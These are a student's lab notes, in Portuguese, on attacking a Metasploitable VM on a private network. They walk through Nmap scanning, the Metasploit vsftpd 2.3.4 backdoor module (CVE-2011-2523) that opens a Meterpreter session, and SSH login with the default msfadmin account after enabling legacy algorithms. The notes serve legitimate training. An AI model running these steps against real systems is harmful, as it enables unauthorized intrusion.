

Anotação da aula – FTP e SSH

Leonardo Vasconcelos Correa

Comecei pela máquina Kali Linux para descobrir o endereço IP dela. Primeiro tentei usar alguns comandos que eu conhecia do Windows, mas no Kali o comando ipconfig não funciona. Depois utilizei o comando correto ifconfig, que mostrou as informações da interface de rede. O IP da minha máquina Kali era 192.168.56.102.

Depois, considerando que o Metasploitable estava no mesmo ambiente de rede virtual, utilizei o Nmap para verificar o IP 192.168.56.101:

```
sudo nmap -sS 192.168.56.101
```

O resultado mostrou que o host estava ativo e que havia várias portas abertas. Entre elas estavam a porta 21, correspondente ao FTP, e a porta 22, correspondente ao SSH.

Em seguida, utilizei:

```
sudo nmap -sV 192.168.56.101
```

Esse comando serviu para descobrir as versões dos serviços encontrados. Entre os resultados apareceram:

```
21/tcp open ftp vsftpd 2.3.4  
22/tcp open ssh OpenSSH 4.7p1  
80/tcp open http Apache httpd 2.2.8
```

Parte do FTP – acompanhada em aula

A parte do FTP foi toda acompanhada durante a aula. Eu fui seguindo o que estava sendo explicado e realizando os mesmos procedimentos na minha máquina.

Primeiro verificamos especificamente o serviço FTP com:

```
sudo nmap -sV -p 21 192.168.56.101
```

Foi confirmado que o serviço utilizado era o vsftpd 2.3.4.

Depois utilizamos um script do Nmap para verificar se essa versão possuía uma vulnerabilidade conhecida:

```
sudo nmap --script ftp-vsftpd-backdoor.nse -p 21 192.168.56.101
```

O resultado indicou que o vsFTPD 2.3.4 era vulnerável à vulnerabilidade CVE-2011-2523.

Também utilizamos o Searchsploit para procurar informações sobre exploits relacionados à versão instalada:

searchsploit vsftpd 2.3.4

O resultado mostro exploits relacionados ao vsftpd 2.3.4, incluindo o backdoor.

Depois entramos no Metasploit através do comando:

```
msfconsole
```

Dentro do Metasploit, pesquisamos pela vulnerabilidade utilizando:

```
search CVE-2011-2523
```

Foi encontrado o módulo:

```
exploit/unix/ftp/vsftpd_234_backdoor
```

Então selecionamos o módulo com:

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

Depois configuramos o endereço do Metasploitable:

```
set RHOSTS 192.168.56.101
```

E o endereço IP da máquina Kali:

```
set LHOST 192.168.56.102
```

Após configurar os parâmetros, executamos:

```
run
```

O Metasploit confirmou que o vsFTPD 2.3.4 parecia vulnerável e conseguiu abrir uma sessão:

```
Meterpreter session 1 opened
```

Dentro da sessão, foi feito um teste simples para verificar a interação com o sistema remoto, utilizando:

```
mkdir teste
```

Essa parte foi importante para entender na prática como a vulnerabilidade poderia permitir a interação com o sistema da máquina vulnerável.

Parte do SSH – realizada por mim

Depois da parte do FTP, comecei a trabalhar com o SSH. Diferentemente do FTP, essa parte eu fui fazendo por conta própria, utilizando o que tinha aprendido durante a

atividade do FTP como base. Para entender os comandos e resolver alguns problemas que apareceram durante o processo, também pesquisei com ajuda da IA.

Primeiro verifiquei novamente a porta 22 e a versão do SSH com:

```
nmap -sV -p22 192.168.56.101
```

O resultado mostrou:

```
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1
```

Depois utilizei:

```
nmap -sC -sV -p22 192.168.56.101
```

para obter mais informações sobre o serviço SSH.

Também pesquisei quais algoritmos de criptografia eram aceitos pelo servidor utilizando:

```
nmap --script ssh2-enum-algos -p22 192.168.56.101
```

O resultado mostrou que o servidor utilizava alguns algoritmos antigos, como ssh-rsa, ssh-dss e diffie-hellman-group1-sha1.

Depois verifiquei os métodos de autenticação disponíveis com:

```
nmap --script ssh-auth-methods --script-args ssh.user=root -p22 192.168.56.101
```

O resultado mostrou que o servidor aceitava autenticação por senha e chave pública.

A partir daí tentei realizar o acesso SSH como root:

```
ssh root@192.168.56.101
```

Porém, apareceu um erro relacionado aos algoritmos de chave:

```
Unable to negotiate with 192.168.56.101 port 22: no matching host key type found.  
Their offer: ssh-rsa,ssh-dss
```

Pesquisando sobre o erro, entendi que isso acontecia porque o OpenSSH do Metasploitable é muito antigo e utiliza algoritmos que as versões atuais do SSH no Kali não aceitam normalmente.

Então tentei permitir especificamente o uso do ssh-rsa através do comando:

```
ssh -o HostKeyAlgorithms=+ssh-rsa root@192.168.56.101
```

Dessa vez consegui avançar até a solicitação da senha, mas o acesso como root não funcionou. O retorno foi:

Permission denied, please try again.

Também fiz outros testes relacionados à autenticação, mas o login como root continuou não funcionando.

Depois, pesquisando sobre o Metasploitable e aproveitando o que já tinha aprendido na atividade, utilizei o usuário padrão msfadmin. Para conseguir estabelecer a conexão com o servidor antigo, utilizei:

```
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa  
msfadmin@192.168.56.101
```

Dessa vez consegui entrar no sistema. O terminal passou a mostrar:

```
msfadmin@metasploitable:~$
```

Isso confirmou que eu estava dentro do Metasploitable e não mais no Kali.

Para confirmar qual usuário estava conectado, executei:

```
whoami
```

O retorno foi:

```
msfadmin
```

Depois fiz um teste simples para verificar se conseguia executar comandos e criar arquivos no sistema remoto. Utilizei:

```
echo "ola mundo" > teste.txt
```

O comando criou o arquivo teste.txt no diretório do usuário msfadmin.

No final da atividade, consegui realizar o acesso SSH ao Metasploitable utilizando o usuário msfadmin e executar comandos diretamente no terminal remoto.